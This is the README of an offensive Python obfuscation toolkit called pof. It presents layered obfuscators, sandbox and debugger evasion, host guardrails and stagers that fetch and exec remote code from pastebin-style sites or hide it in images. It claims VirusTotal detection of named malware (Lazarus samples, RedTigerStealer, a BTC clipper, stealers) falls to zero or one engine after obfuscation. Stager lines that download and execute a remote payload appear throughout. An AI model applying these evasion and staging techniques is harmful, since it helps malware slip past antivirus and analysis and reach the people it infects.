Test it at pof.run.
Python Obfuscation Framework (pof), a complete Python offensive security toolkit to generate staged obfuscated payloads.
pof will allow you to:
- Slow down static analysis with layered obfuscation and novel techniques.
- Evade sandbox by checking host information like MAC addresses, CPU count, memory count, uptime, and much more.
- Add guardrails to ensure the payload only execute on the desired target host by verifying for username, hostname, domainame and much more.
- Prevent dynamic analysis by detecting debugging or tracing via malloc.
- Create staged payloads, store stages inside images, on trusted sites, encrypt, compress, or encode them, and much more.
- Enable automation to produce numerous variant of the same payload.
The main benefit of POF is customizability, you can generate your payload however you want, choose the obfuscation you want and combine them.
Most obfuscation work very well when combined. For example obfuscating an int
from 42 to int("42") allows the string obfuscator to obfuscate it, turning
it into int("".join([chr(ord(i)-3)for i in'75'])). And we now have multiple
int and strings that we can once again obfuscate.
Example obfuscation:
print("Hello, world")Output:
frombase64importb64decodeasexpected_datafrombase64importb85decodeas_5269globals()["".join([chr(ord(i)-3)foriin'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)foriin"".join([chr(ord(i)-3)foriin'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)foriinexpected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)foriin"".join([chr(ord(i)-3)foriin'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)foriin'']).join([chr(ord(i)-3)foriinexpected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)foriin'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)foriin']j@@'])).decode()))))foriin"".join([chr(ord(i)-3)foriin'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)foriin''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)foriin'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)foriin'txdqwlohv']),"".join([chr(ord(i)-3)foriin'6']))))foriinexpected_data('').decode().join([chr(ord(i)-3)foriin'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode())Same output formatted:
frombase64importb64decodeasexpected_datafrombase64importb85decodeas_5269globals()["".join([chr(ord(i) -3) foriin"bbvqlwolxebb"[::-1]])].__dict__[
_5269("")
.decode()
.join([chr(ord(i) -3) foriin"".join([chr(ord(i) -3) foriin"mruhgry"])])
]()[
_5269(""[::-1])
.decode()
.join(
[
globals()[
""[::-1].join(
[
chr(ord(i) -3)
foriinexpected_data("YmJleGxvd2xxdmJi").decode()
]
)
].__dict__[
"".join(
[chr(ord(i) -3) foriin"".join([chr(ord(i) -3) foriin"inx"])]
)
](
__builtins__.__dict__.__getitem__(
"".join([chr(ord(i) -3) foriin""]).join(
[chr(ord(i) -3) foriinexpected_data("cnVn").decode()]
)
)(i)
- (
__name__.__len__().__class__(
__builtins__.__dict__.__getitem__(_5269("X>N1").decode())(
"".join([chr(ord(i) -3) foriin"3\u007b5"]), 0
)
+__builtins__.__getattribute__(
"egapraeytamrofel"[::-1].replace(
"egapraeytamrof"[::-1], expected_data("bg==").decode()
)
)(
expected_data(
"".join([chr(ord(i) -3) foriin"]j@@"])
).decode()
)
)
)
)
foriin"".join([chr(ord(i) -3) foriin"eeh{olsy7bdgguvtyee"]).replace(
_5269("X>fKlUtwfqa&r").decode(), _5269("Z+C0").decode()
)
]
)
].__dict__[
""[::-1]
.join([chr(ord(i) -3) foriin""[::-1]])
.join(
[
globals()[
expected_data(
"XordinalidWlsdGlucordinalf".replace("ordinal", "19")
).decode()
].__dict__[expected_data("yh2Y"[::-1]).decode()](
globals()[
_5269(expected_data("VXRlTiVYPjQ/OVpnWEU+").decode()).decode()
].__dict__[_5269("fold_countV".replace("fold_count", "Z*p")).decode()](
i
)
-__builtins__.__getattribute__(
expected_data("".join([chr(ord(i) -3) foriin"dZ83"])).decode()
)(
"quaencode_7or8bits".replace("encode_7or8bit", "ntile").replace(
"".join([chr(ord(i) -3) foriin"txdqwlohv"]),
"".join([chr(ord(i) -3) foriin"6"]),
)
)
)
foriinexpected_data("")
.decode()
.join([chr(ord(i) -3) foriin"ztoxv"[::-1]])
]
)
](
expected_data(
_5269("Q%6>FVKQQ0ad38HZFp+")
.decode()
.replace("pq_b2a"[::-1], "\u0062\u00478\u0073\u0049\u0048\u0064")
).decode()
)More examples and usage can be found in examples/ or in the section bellow.
The tests are done using the default configuration of pof, no sandbox evasion technique was used with obfuscation. Also note that I haven't tested the malware to see if they still work, they should, but they may break with obfuscation.
Obfuscating a
Lazarus malware,
we go from
18/63
to
0/63
on virus total: 
Obfuscating
RedTigerStealer
we go from
26/63
to
1/62
on virus total: 
Obfuscating BTC-Clipper, we go
from
13/64
to
0/63
on virus total: 
Obfuscating a
Braodo malware,
we go from
10/61
to
0/63
on virus total: 
Obfuscating
Python-File-Stealer,
we go from
4/63
to
0/63
on virus total: 
You can install POF with pip install, inside a container or try it online at pof.run:
echo'print("Hello, world!")'| curl -X POST -d @- https://pof.runFrom pypi:
pip install python-obfuscation-frameworkdocker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --helpRun inside Docker from a local file in.py:
docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.pyOr pipe input and output:
cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.pyYou can select the obfuscation level with the -f flag, here are the levels:
- basic
- moderate
- advanced
- extreme
Or you can specify and use a single obfuscator.
# pipe input and output to stdoutecho"print('Hello, world')"| pof
# output to file
pof in.py -o out.py
# redirect to file
pof in.py > out.py
# pipe to python to run it
pof in.py | python
# obfuscator preset, choose the level of obfuscation needed
pof in.py -o out.py -f basic
pof in.py -o out.py -f moderate
pof in.py -o out.py -f advanced
pof in.py -o out.py -f extreme
# obfuscator
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
# stager
pof in.py -o out.py -f stager -k PasteRsStager
# evasion
pof in.py -o out.py -f evasion -k CPUCountEvasion
# evasion with custom params
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
# combine everything from the CLI
pof in.py -f obfuscator -k BuiltinsObfuscator |\
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
pof -f stager -k PasteRsStager > out.pyYou can also use the Python API directly, you can find examples or see API usage bellow.
These are examples of obfuscators of the script print('Hello, world').
To select an obfuscator use the flag -f obfuscator and
-k ObfuscatorClassName.
To reproduce the examples you can use the following command:
echo"print('Hello, world')"| pof -f obfuscator -k UUIDObfuscatorTo test the validity of the output you can simply pipe it to Python:
echo"print('Hello, world')"| pof -f obfuscator -k UUIDObfuscator | pythonNamesObfuscator obfuscator is renaming variables, classes, and functions.
Source in examples/source.py.
importosdefBJM4FaQJf1():
"""Get Linux release info from /etc/os-release."""h77='/etc/os-release'ifnotos.path.exists(h77):
print('OS release file not found. This might not be a Linux system.')
returnNonejkFr= {}
try:
withopen(h77, 'r') asLfQ:
forGIVt40c7RRinLfQ:
ifnotGIVt40c7RRor'='notinGIVt40c7RR:
continueKPO5j, RQvTXmL=GIVt40c7RR.strip().split('=', 1)
RQvTXmL=RQvTXmL.strip('"\'\n')
jkFr[KPO5j] =RQvTXmLprint('\nLinux Release Information:')
print(f"Distribution: {jkFr.get('NAME', 'Unknown')}")
print(f"Version: {jkFr.get('VERSION', 'Unknown')}")
print(f"Version ID: {jkFr.get('VERSION_ID', 'Unknown')}")
print(f"Pretty Name: {jkFr.get('PRETTY_NAME', 'Unknown')}")
returnjkFrexceptExceptionasLzYLqi_:
print(f'Error reading release file: {LzYLqi_}')
returnNoneif__name__=='__main__':
ifos.name=='posix'andos.path.exists('/etc/os-release'):
yv4HAqmn=BJM4FaQJf1()
else:
print('This script is designed for Linux systems.')Other very basic obfuscation functions are done by specific obfuscators like:
- Removing comments with
CommentsObfuscator. - Replacing exception messages with
ExceptionObfuscator. - Reducing indentation to a single space with
IndentsObfuscator. - Replace log messages with
LoggingObfuscatoror remove them withLoggingRemoveObfuscator. - Remove empty lines with
NewlineObfuscator. - Remove print statements with
PrintObfuscator. - Remove type hints with
TypeHintsObfuscator.
# Reverseprint('dlrow ,olleH'[::-1])
# Replaceprint('Helnelemd'.replace('nelem','lo, worl'))
# One on nprint("".join([difg%3==0else""forg,dinenumerate('H9IesYlvJl5loU4,dK nDw51ovsrozl0UdoI!jL')]))
# Hex-encodedprint('\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64')
# Unicodeprint('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
# Shift cipherprint("".join([chr(ord(i)-3)foriin'Khoor/#zruog']))
# Base 64 encodingfrombase64importb64decodeprint(b64decode( b'SGVsbG8sIHdvcmxk').decode())
# Base 85frombase64importb85decodeprint(b85decode( b'NM&qnZ!92pZ*pv8').decode())Source: print(42)
# Stringprint(int('42'))
# Additionprint((int(35+7)))
# Hexprint(int('0x2a',0))
# Lenprint(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
# Booleanprint((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
# Bitwise XORprint((53^31))
# Bitwise shiftprint((21<<1))
# Bitwise NOT complementprint((~(~42)))Source: print(True)
print(notFalse)
print(all([]))
print(any([True]))
print(notnotTrue)
print(''in'')
print(bool(1))
print(bool(1&1))
print(bool(~0))Source: print(False)
print(bool(1&0))
print(bool(1^1))
print(bool(0|0))Move every variable at the top of the file with random names.
N842V="\"'\n"gvBXIX='NAME'Lzxdy='VERSION'NklI="__main__"IoTpEBJ='VERSION_ID'eQqDDpOL=1IpEPxvQ="This script is designed for Linux systems."ka6U_Q='PRETTY_NAME'hCf5UQQT="="GMUC6z="/etc/os-release"eOa=ExceptionCCCs=NoneEUr2fN=openwGDb="r"hm8="OS release file not found. This might not be a Linux system."QElu="posix"fNdZY9=__name__LvMs="\nLinux Release Information:"uFCf7Vy='Unknown'joyHA=printimportosdefget_linux_release_info():
"""Get Linux release info from /etc/os-release."""release_file=GMUC6zifnotos.path.exists(release_file):
joyHA(hm8)
returnCCCsrelease_info={}
try:
withEUr2fN(release_file,wGDb)asf:
forlineinf:
ifnotlineorhCf5UQQTnotinline:
continuekey,value=line.strip().split(hCf5UQQT,eQqDDpOL)
value=value.strip(N842V)
release_info[key]=valuejoyHA(LvMs)
joyHA(f"Distribution: {release_info.get(gvBXIX,uFCf7Vy)}")
joyHA(f"Version: {release_info.get(Lzxdy,uFCf7Vy)}")
joyHA(f"Version ID: {release_info.get(IoTpEBJ,uFCf7Vy)}")
joyHA(f"Pretty Name: {release_info.get(ka6U_Q,uFCf7Vy)}")
returnrelease_infoexcepteOaase:
joyHA(f"Error reading release file: {e}")
returnCCCsiffNdZY9==NklI:
ifos.name==QEluandos.path.exists(GMUC6z):
release_details=get_linux_release_info()
else:
joyHA(IpEPxvQ)Obfuscate builtins functions using one of the following methods.
__builtins__.__getattribute__('print')('Hello, world')
__builtins__.__dict__['print']('Hello, world')
globals()['__builtins__'].__dict__['print']('Hello, world')
__builtins__.__dict__.__getitem__('print')('Hello, world')Extract variables in the same context level, meaning if inside a function will add the variable at the beginning of it.
var='Hello, world'print(var)print.__call__('Hello, world')Replaces call of global functions with globals()['func_name']().
Source in examples/source.py.
importosdefget_linux_release_info():
release_file="/etc/os-release"ifnotos.path.exists(release_file):
print("OS release file not found. This might not be a Linux system.")
returnNonerelease_info={}
try:
withopen(release_file,"r")asf:
forlineinf:
ifnotlineor"="notinline:
continuekey,value=line.strip().split("=",1)
value=value.strip("\"'\n")
release_info[key]=valueprint("\nLinux Release Information:")
print(f"Distribution: {release_info.get('NAME','Unknown')}")
print(f"Version: {release_info.get('VERSION','Unknown')}")
print(f"Version ID: {release_info.get('VERSION_ID','Unknown')}")
print(f"Pretty Name: {release_info.get('PRETTY_NAME','Unknown')}")
returnrelease_infoexceptExceptionase:
print(f"Error reading release file: {e}")
returnNoneif__name__=="__main__":
ifos.name=="posix"andos.path.exists("/etc/os-release"):
release_details=globals()['get_linux_release_info']()
else:
print("This script is designed for Linux systems.")Note
This combines perfectly with a string obfuscator, since the function call becomes ones, it's easy to obfuscate.
exec("".join([chr(ord(i)-3)foriin'sulqw+*Khoor/#zruog*,\r']))Store original code inside functions and classes comments as base64.
frombase64importb64decodeclassL8EU:
"""cHJpbnQoIkhlbGxvLCB3b3JsZCEiKQo="""passexec(b64decode("".join([L8EU.__doc__]).replace('\\n','').replace(' ','')))defsntdecode(encoded):
msg_bin=encoded.replace(" ","0").replace("\t","1")
n=int(msg_bin,2)
returnn.to_bytes((n.bit_length()+7)//8,"big")
exec(sntdecode('\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '))Use whitespace and zero width whitespace \u200B.
defwsdecode(encoded):
msg_bin=encoded.replace(" ","0").replace('\u200b',"1")
n=int(msg_bin,2)
returnn.to_bytes((n.bit_length()+7)//8,"big")
exec(wsdecode(" "))Warning
The RC4 obfuscator (and other cipher obfuscators) will combine both, the cipher text and the key in the same file, this is obviously not secure, and should never be used for security purposes. The idea behind this obfuscator is to fool humans, AV, EDR, network TAP etc. not to be secured and safe.
importcodecsdefrc4decrypt(key,ciphertext):
defKSA(key):
key_length=len(key)
S=list(range(256))
j=0foriinrange(256):
j=(j+S[i]+key[i%key_length])%256S[i],S[j]=S[j],S[i]
returnSdefPRGA(S):
i=0j=0whileTrue:
i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yieldKdefget_keystream(key):
S=KSA(key)
returnPRGA(S)
defencrypt_logic(key,text):
key=[ord(c)forcinkey]
keystream=get_keystream(key)
res=[]
forcintext:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
returncodecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))frombase64importb64decodedefdecrypt(cipher,key):
bcipher=bytearray(b64decode(cipher))
text=bytearray()
ki=0foriinbcipher:
text.append(i^key[ki%len(key)])
ki+=1returntextexec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())Warning
Like for the RC4 cipher the XOR obfuscator shouldn't be used for security purposes, its main goal is to evade common security tools, not protect the information! Plus the XOR cipher is really weak and easy to crack.
Encrypt each function's source code using base64 encoding. The function body is
replaced with a exec(b64decode(...)) call that decrypts and executes the
original code at runtime. This prevents the entire source code from being
accessible at once in memory.
Source in examples/source.py.
frombase64importb64decodeimportosdefget_linux_release_info():
r_dict=globals().copy()
r_dict.update(locals())
exec(b64decode( b'IiIiR2V0IExpbnV4IHJlbGVhc2UgaW5mbyBmcm9tIC9ldGMvb3MtcmVsZWFzZS4iIiIKCiMgQ2hlY2sgaWYgdGhlIGZpbGUgZXhpc3RzCnJlbGVhc2VfZmlsZSA9Ii9ldGMvb3MtcmVsZWFzZSIKCmlmIG5vdCBvcyAucGF0aCAuZXhpc3RzIChyZWxlYXNlX2ZpbGUgKToKICAgIHByaW50ICgiT1MgcmVsZWFzZSBmaWxlIG5vdCBmb3VuZC4gVGhpcyBtaWdodCBub3QgYmUgYSBMaW51eCBzeXN0ZW0uIikKICAgIHIgPU5vbmUgCgogICAgIyBEaWN0aW9uYXJ5IHRvIHN0b3JlIHJlbGVhc2UgaW5mb3JtYXRpb24KcmVsZWFzZV9pbmZvID17fQoKdHJ5IDoKIyBSZWFkIGFuZCBwYXJzZSB0aGUgZmlsZQogICAgd2l0aCBvcGVuIChyZWxlYXNlX2ZpbGUgLCJyIilhcyBmIDoKICAgICAgICBmb3IgbGluZSBpbiBmIDoKICAgICAgICAgICAgaWYgbm90IGxpbmUgb3IgIj0ibm90IGluIGxpbmUgOgogICAgICAgICAgICAgICAgY29udGludWUgCgogICAgICAgICAgICAgICAgIyBTcGxpdCBrZXkgYW5kIHZhbHVlCiAgICAgICAgICAgIGtleSAsdmFsdWUgPWxpbmUgLnN0cmlwICgpLnNwbGl0ICgiPSIsMSApCgogICAgICAgICAgICAjIFJlbW92ZSBxdW90ZXMgZnJvbSB2YWx1ZQogICAgICAgICAgICB2YWx1ZSA9dmFsdWUgLnN0cmlwICgiXCInXG4iKQoKICAgICAgICAgICAgIyBTdG9yZSBpbiBkaWN0aW9uYXJ5CiAgICAgICAgICAgIHJlbGVhc2VfaW5mbyBba2V5IF09dmFsdWUgCgogICAgICAgICAgICAjIFByaW50IGtleSByZWxlYXNlIGluZm9ybWF0aW9uCiAgICBwcmludCAoIlxuTGludXggUmVsZWFzZSBJbmZvcm1hdGlvbjoiKQogICAgcHJpbnQgKGYiRGlzdHJpYnV0aW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdOQU1FJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uIElEOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OX0lEJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJQcmV0dHkgTmFtZToge3JlbGVhc2VfaW5mbyAuZ2V0ICgnUFJFVFRZX05BTUUnLCdVbmtub3duJyl9IikKCiAgICByID1yZWxlYXNlX2luZm8gCgpleGNlcHQgRXhjZXB0aW9uIGFzIGUgOgogICAgcHJpbnQgKGYiRXJyb3IgcmVhZGluZyByZWxlYXNlIGZpbGU6IHtlIH0iKQogICAgciA9Tm9uZSAKCgogICAgIyBNYWluIGV4ZWN1dGlvbgo='),r_dict)
if'r'notinr_dict:
returnNoner_val=r_dict['r']
delr_dictreturnr_valif__name__=="__main__":
ifos.name=="posix"andos.path.exists("/etc/os-release"):
release_details=get_linux_release_info()
else:
print("This script is designed for Linux systems.")Note
Functions containing yield or super are skipped and left unchanged. The
return statements inside the encrypted function body are replaced with
variable assignments to support return value propagation through exec().
# Bz2Obfuscatorimportbz2,marshalexec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00\x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0')))
# GzipObfuscatorimportgzip,marshalexec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00')))
# LzmaObfuscatorimportlzma,marshalexec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ")))
# ZlibObfuscatorimportzlib,marshalexec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H')))# ASCII85Obfuscatorfrombase64importa85decodeexec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))
# Base16Obfuscatorfrombase64importb16decodeexec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))
# Base32Obfuscatorfrombase64importb32decodeexec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))
# Base32HexObfuscatorfrombase64importb32hexdecodeexec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))
# Base64Obfuscatorfrombase64importb64decodeexec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))
# Base85Obfuscatorfrombase64importb85decodeexec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))
# BinasciiObfuscatorimportbinascii,marshalexec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n')))# TokensObfuscatorfromtokenizeimportuntokenizeexec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),]))
# IPv6Obfuscatorimportbinasciiexec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))
# MACObfuscatorimportbinasciiexec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))
# UUIDObfuscatorexec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1]))Remove keyword import.
# import XX=__import__("X")
# import X as YY=__import__("X")
# import X, YX=__import__("X")
Y=__import__("Y")
# import X.YX=__import__("X.Y")
# from X import YY=__import__("X", fromlist=["Y"]).Y# from X import Y as ZZ=__import__("X", fromlist=["Y"]).Y# from X import Y, ZY=__import__("X", fromlist=["Y"]).YZ=__import__("X", fromlist=["Z"]).ZNote
Does not support wildcard imports *, or local imports from . import.
Get a single character from a documentation.
Source: print('h')
print(oct.__doc__[8])Warning
This is highly prone to error, if the documentation change between Python versions, then this may break.
# This is a random commentprint("Hello, world!")The list of comments available is inside a file, all the comments have been extracted from Python standard library.
Add random new lines everywhere it's possible.
print("Hello, world!")Classic control flow flattening.
Source:
defgreet(name):
msg="Hello, "msg=msg+namereturnmsgOutput:
defgreet(name):
_state=936_ret=Nonewhile_state!=435:
if_state==995:
msg=msg+name_state=528elif_state==936:
msg='Hello, '_state=995elif_state==528:
_ret=msg_state=435return_retNote
Functions containing yield, async, or try/except are skipped and left unchanged.
Insert dead (unreachable/unused) code blocks into the source.
whileFalse:
Etb4inx6B1=[21,7,46,2]
agw_QLOu=283-42FwQ2='msg'print('Hello, world')Insert random type hints.
Source:
deffoo(x):
z=x+2print(z)Obfuscated:
deffoo(x: dict[dict[bytearray, None], frozenset[complex]])->str|type:
z: complex|dict[memoryview, complex]=x+2print(z)fromurllibimportrequestexec(request.urlopen("https://example.com/payload.py").read())The modified picture is not included in this example.
importsysfromPILimportImagedefdecode(im_in):
msg_bin=""im=Image.open(im_in)
px=im.load()
forxinrange(im.size[0]):
foryinrange(im.size[1]):
pixels=px[x,y]
msg_bin+=bin(pixels[0])[-1]
n=8mmsg_bin="0"+msg_binchunks=[mmsg_bin[i:i+n]foriinrange(0,len(mmsg_bin),n)]
i=chunks.index("0"*8)
msg_bin=msg_bin[:(8*i)-1]
n=int(msg_bin,2)
msg=n.to_bytes((n.bit_length()+7)//8,"big").decode()
returnmsgexec(decode(sys.argv.pop(1)))fromurllibimportrequestexec(request.urlopen("https://pastebin.com/raw/...").read())Note
You'll need to add a pastebin API key:
echo"print('Hello, world')"| pof -f stager -k PastebinStager api_dev_key=fooThe PasteRsStager and Cl1pNetStager are exactly the same, but the code is
not uploaded to the same site. But PasteRsStager doesn't require an API key.
The RC4 stager needs to be called with the key has its first argument.
importsysimportcodecsdefrc4decrypt(key,ciphertext):
defKSA(key):
key_length=len(key)
S=list(range(256))
j=0foriinrange(256):
j=(j+S[i]+key[i%key_length])%256S[i],S[j]=S[j],S[i]
returnSdefPRGA(S):
i=0j=0whileTrue:
i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yieldKdefget_keystream(key):
S=KSA(key)
returnPRGA(S)
defencrypt_logic(key,text):
key=[ord(c)forcinkey]
keystream=get_keystream(key)
res=[]
forcintext:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
returncodecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))For this example, the randomly generated key is:
TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
So we could call it like this:
